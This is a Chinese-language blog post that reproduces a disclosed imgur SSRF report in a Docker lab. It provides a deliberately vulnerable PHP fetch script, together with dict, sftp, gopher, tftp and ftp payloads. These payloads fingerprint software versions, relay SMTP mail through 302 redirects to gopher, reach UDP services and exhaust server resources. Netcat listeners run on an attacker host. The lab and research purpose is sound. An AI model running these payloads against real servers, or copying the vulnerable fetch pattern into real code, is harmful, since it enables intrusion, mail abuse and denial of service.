前几天在 hackerone 上看到一个 imgur 的SSRF漏洞,url为: https://imgur.com/vidgif/url?url=xxx
,参数url没有做限制,可以访问内网地址。请求过程中使用到了liburl库,并且liburl配置不当,可以让攻击者使用除http(s)之外的多个libcurl protocol wrappers,比如 ftp://xxx.com/file
会让服务器发起ftp请求。
漏洞提交者 aesteral 在报告中给出了几种协议的利用方法,查了下drops之前SSRF文章,好像没有专门介绍protocol wrappers,刚好看到了这个漏洞报告,就尝试着搭建环境复现下,记录下过程。
首先要搭建php + nginx环境,来模拟SSRF server端漏洞环境,这里选择用 docker 来搭建,系统为Ubuntu14.04,docker安装可以参考 文档 ,ubuntu的apt源建议换成 国内的 ,安装起来比较快。
安装完后,拉取docker hub上安装好php + nginx环境的image,仓库在国外,速度可能略慢
docker pull richarvey/nginx-php-fpm
创建代码目录 /app
启动container(映射端口、挂载volume):
sudo docker run --name nginx -p 8084:80 -v /app:/usr/share/nginx/html -d richarvey/nginx-php-fpm
在/app目录下创建ssrf.php,代码中使用curl请求参数url对应的资源,返回给客户端,用于模拟SSRF的功能
<?php $url = $_GET['url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.1 Safari/537.11'); // 允许302跳转 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $res = curl_exec($ch); // 设置content-type header('Content-Type: image/png'); curl_close($ch) ; //返回响应 echo $res; ?>
我们测试加载图片,访问
http://victim:8084/ssrf.php?url=http://download.easyicon.net/png/1199986/96/
测试SSRF,在另一台机器上执行 nc -l -v 11111
,监听11111端口
访问 http://victim:8084/ssrf.php?url=http://attacker:11111/
我们来看一下Ubuntu14.04下默认的libcurl支持哪些协议
因为docker ubuntu image没有curl,所以安装 apt-get install -y curl
然后执行 curl -V
[email protected]
:/app# curl -V curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP
可以看到
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
中,并没有SSH(scp://, sftp://),所以默认是不支持的SSH协议的,需要自己下载源码重现编译安装,可以参考 这篇文章 。
利用SSH和DICT协议获取软件版本信息
sftp(需要curl编译安装libssh库)访问: http://victim:8084/ssrf.php?url=sftp://attacker:11111/
DICT访问 http://victim:8084/ssrf.php?url=dict://attacker:11111/
可以看到服务使用的软件版本, libssh2 1.4.3
和 libcurl 7.35.0
。查看下CVE
libssh2 1.4.3
可能受 CVE-2015-1782 影响
报告中imgur服务器中的软件版本是 libcurl 7.40.0
可能受 CVE-2015-3144 和 CVE-2015-3237影响,我们的版本为 libcurl 7.35.0
,不受影响
先介绍下GOPHER协议,来自百度知道~
Gopher协议是一种互联网没有发展起来之前的一种从远程服务器上获取数据的协议。Gopher协议目前已经很少使用,它几乎已经完全被HTTP协议取代了。
因为GOPHER协议支持newlines,所以可以用来发起类似TELNET chat-session的请求,比如SMTP,Redis server等。漏洞报告中提到imgur过滤了url参数中的newlines,但imgur server支持302跳转,所以可以构造一个302跳转的页面,结合GOPHER协议来完成攻击。
先测试一下GOPHER协议的效果,构造302跳转页面 gopher.php
<?php header('Location: gopher://attacker:11111/_HI%0AMultiline%0Atest'); ?>
访问 http://victim:8084/ssrf.php?url=http://attacker/gopher.php
attacker端:
接下来是发送邮件,本来想用国内的邮箱试试的,然而都加了登陆验证来防止垃圾邮件。
报告中给了一个 http://test.smtp.org/ 的网站,可以用来测试,这里修改了收件人,不然不会发送成功
smtp.php:
<?php $commands = array( 'HELO test.org', 'MAIL FROM: <[email protected]
>', 'RCPT TO: [email protected] ', 'DATA', 'Test mail', '.' ); $payload = implode('%0A', $commands); header('Location: gopher://smtp.163.com:25/_'.$payload); ?>
访问 http://victim:8084/ssrf.php?url=http://attacker:8084/smtp.php
可以到 http://test.smtp.org/log 下查看日志,我的VPS连接不了 http://test.smtp.org的25端口,换来一台直接用TELNET模拟
[email protected]
:~$ telnet test.smtp.org 25 Trying 52.2.168.164... Connected to test.smtp.org. Escape character is '^]'. 220 test.smtp.org ESMTP Sendmail 8.16.0.16 ready at Fri, 18 Mar 2016 06:47:04 GMT; see http://test.smtp.org/ HELO test.org 250 test.smtp.org Hello [xx.xx.xx.xx], pleased to meet you MAIL FROM: <[email protected]> 250 2.1.0 <[email protected]>... Sender ok RCPT TO:[email protected] 250 2.1.5 [email protected] .. Recipient ok DATA 354 Enter mail, end with "." on a line by itself Test mail . 250 2.0.0 u2I6l4QU017644 Message accepted for delivery
日志
服务端监听UDP 11111端口 nc -v -u -l 11111
访问 http://Victim:8084/ssrf.php?url=tftp://Attacker:11111/TEST
Attacker:
可以用来向UDP服务发起请求,比如Memcache 和 REDIS-UDP
如果请求的超时时间较长,攻击者可以iptables的 TARPIT 来block请求,此外CURL的 FTP:// 永远不会超时
Attacker 监听 nc -v -l 11111
访问 http://Victim:8084/ssrf.php?url=ftp://Attacker:11111/TEST
nginx环境下默认超时时间为1分钟
攻击者可以发起大量请求来耗尽服务器的资源
撸站遇到SSRF时,除了可以使用http(s)之外,还有其它的一些协议,这里进行了简单的分析,希望对大家有一些帮助~